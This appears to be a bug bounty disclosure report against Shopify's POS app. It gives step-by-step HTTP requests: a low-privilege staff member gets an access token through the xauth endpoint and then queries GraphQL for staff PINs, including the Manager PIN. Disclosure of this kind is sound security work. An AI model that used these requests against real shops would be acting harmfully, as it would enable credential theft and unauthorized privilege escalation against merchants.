2021-01-31T16:38:23

Description

## Summary: A low privilege user (both in the shop and in the POS) can read POS PINs via graphql and elevate his privilege with a physical access to the POS. ## Steps To Reproduce: 1. Log in to your shop and install the POS app https://apps.shopify.com/shopify-pos 2. Log in Shopify Plus as an org owner and create a user with the minimal privilege requirements {F1178771} 2. Go to the newly created user POS staff page (https://h1-2102-ramsexy.myshopify.com/admin/apps/pos/staff/61357948984) and check "Give Point of Sale access" and select Associate role. {F1178781} 3. Go back to the user permission page in Shopify Plus, and remove all permission from the newly created user. Please notice the following message about POS. {F1178787} 4. As the low priv user, request a POS `access_token` : Request : ```http POST /admin/api/xauth HTTP/1.1 Accept: application/json Content-Type: application/json; charset=UTF-8 Content-Length: 137 Host: h1-2102-ramsexy.myshopify.com Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/4.0.0 {"api_key":"a53cf2ce9b5dabf5dd222b3615c29569","login":"ramsexy+h1-2102-3@wearehackerone.com","password":"███"} ``` Response : ```json { "access_token": "█████", "impersonated_by_employee": false, "scope": "read_analytics,write_checkouts,write_customers,write_draft_orders,write_fulfillments,read_gdpr_data_request,write_gift_cards,write_inventory,write_marketing_events,write_orders,write_price_rules,write_product_listings,write_products,write_reports,write_resource_feedbacks,write_script_tags,write_shipping,read_shopify_payments_bank_accounts,read_shopify_payments_disputes,read_shopify_payments_payouts,read_all_orders,write_apps,write_channels,read_disputes,write_home,write_locations,write_notifications,write_payment_gateways,read_payment_settings,write_publications,read_shopify_payments,write_users,write_order_edits,write_point_of_sale_devices,write_retail_roles,write_merchant_managed_fulfillment_orders,write_third_party_fulfillment_orders,write_cash_tracking,write_physical_receipts,write_discounts,write_smart_grid,write_images,write_retail_bbpos_merchant,write_retail_addon_subscriptions,read_checkout_settings,write_stripe_terminal_readers,read_all_subscription_contracts,read_product_recommendations,write_retail_user_data,write_pos_channel.access,write_pos_compliance.access", "associated_user_scope": "write_checkouts,write_product_listings,write_resource_feedbacks,read_shopify_payments_disputes,read_shopify_payments_payouts,write_point_of_sale_devices,write_cash_tracking,write_physical_receipts,write_retail_bbpos_merchant,write_stripe_terminal_readers,write_pos_channel.access,write_pos_compliance.access,read_locations,read_users,read_retail_roles,read_smart_grid,read_retail_addon_subscriptions,read_retail_user_data", "session": null, "account_number": null, "associated_user": { "id": 61357948984, "first_name": "das", "last_name": "das", "email": "ramsexy+h1-2102-3@wearehackerone.com", "account_owner": false, "locale": "en", "collaborator": false, "email_verified": true } ``` * The `api_key` can be found in the page at https://h1-2102-ramsexy.myshopify.com/admin/apps/pos. * The `login` and `password` are your low privilege user credentials 5. Using this `access_token` in the `X-Shopify-Access-Token` header, you can query the graphql endpoint to retrieve the POS staff information, including PINs: Request: ```http POST /admin/api/unversioned/graphql HTTP/1.1 Host: h1-2102-ramsexy.myshopify.com Content-Type: application/json Connection: close X-Shopify-Override-User-Locale: en-US X-Shopify-Access-Token: ███ Accept: application/json User-Agent: Shopify POS/iOS/6.28.0 (iPhone8,4/com.jadedpixel.pos/14.2.0) - Build 855 Content-Length: 1002 Accept-Language: en-us Accept-Encoding: gzip, deflate {"query":"fragment RemoteStaffMember on StaffMember { __typename active email name firstName lastName phone pin id isShopOwner accountType permissions { __typename userPermissions } privateData { __typename updatedAt identityOwned identityUuid } retailData(location: $locationID) { __typename canInitializePos posAccess retailRole { __typename ...

Using that information, the low privilege user can use the Manager PIN while using the POS device, which allow him to perform various actions he should not be able to do. ## Impact A low privilege user (both in the shop and in the POS) who should only be able to log into the POS with limited privilege using his PIN can retrieve Manager PIN to elevate his privilege.
